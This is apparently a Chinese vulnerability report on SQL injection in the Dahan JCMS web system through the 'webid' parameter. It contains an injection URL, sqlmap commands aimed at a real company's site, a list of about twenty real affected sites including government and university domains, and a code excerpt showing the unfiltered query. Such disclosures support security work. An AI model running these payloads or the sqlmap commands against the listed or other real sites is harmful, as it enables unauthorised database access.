### 简要描述:
大汉系统又一SQL注入
### 详细说明:
Url:
/vc/vc/para/opr_initvc.jsp?webid=1+and+1=1--
截图:
./sqlmap.py -u 'http://www.sinotrans.com/vc/vc/para/opr_initvc.jsp?webid=1' --dbms Oracle
[<img src="https://images.seebug.org/upload/201412/231415366179ccd92df816d915b97038b74992c3.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/231415366179ccd92df816d915b97038b74992c3.png)
./sqlmap.py -u 'http://www.sinotrans.com/vc/vc/para/opr_initvc.jsp?webid=1' --current-user
[<img src="https://images.seebug.org/upload/201412/23141556b2d9e7b9308caf657d654347505c8ca0.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/23141556b2d9e7b9308caf657d654347505c8ca0.png)
### 漏洞证明:
案例:
```
http://222.186.88.83/vc/vc/para/opr_initvc.jsp?webid=1+and+1=1--
http://www.njhdgcj.com/vc/vc/para/opr_initvc.jsp?webid=a
http://sstr.cscec.com/vc/vc/para/opr_initvc.jsp?webid=a
http://www.sinotrans.com/vc/vc/para/opr_initvc.jsp?webid=a
http://www.sinotrans.com.cn/vc/vc/para/opr_initvc.jsp?webid=a
http://cchicc.cchmi.com/vc/vc/para/opr_initvc.jsp?webid=a
http://en.sdfda.gov.cn/vc/vc/para/opr_initvc.jsp?webid=a
http://www.njbpvi.org/vc/vc/para/opr_initvc.jsp?webid=a
http://218.25.58.90/vc/vc/para/opr_initvc.jsp?webid=a
http://lkx.zhijiang.gov.cn/vc/vc/para/opr_initvc.jsp?webid=a
http://www.throad.cn/vc/vc/para/opr_initvc.jsp?webid=a
http://www.njhdgcj.com/vc/vc/para/opr_initvc.jsp?webid=a
http://snnuz.sinan.gov.cn/vc/vc/para/opr_initvc.jsp?webid=a
http://jjjs.acftu.org/vc/vc/para/opr_initvc.jsp?webid=a--
http://www.hebau.edu.cn/vc/vc/para/opr_initvc.jsp?webid=a
http://www.auh.cn/vc/vc/para/opr_initvc.jsp?webid=a
http://www.cchicc.org.cn/vc/vc/para/opr_initvc.jsp?webid=a
http://www.njtjy.org.cn/vc/vc/para/opr_initvc.jsp?webid=a
http://www.green-ccia.com/vc/vc/para/opr_initvc.jsp?webid=a
http://www.cscecshi.com/vc/vc/para/opr_initvc.jsp?webid=a
```
代码分析:
```
// ... ...
// Url中获取webid参数
String webid = Convert.getParameter(request, "webid");
// ... ...
// 没有经过过滤,直接带入了sql中。
sql = "SELECT daytotal FROM jcms_visitcountsitehour WHERE i_webid="
+ webid
+ " AND i_year=1900 AND i_month=1 AND i_day=1";
result = Manager.doQuery(appID, sql);
// ... ...
```
暂无评论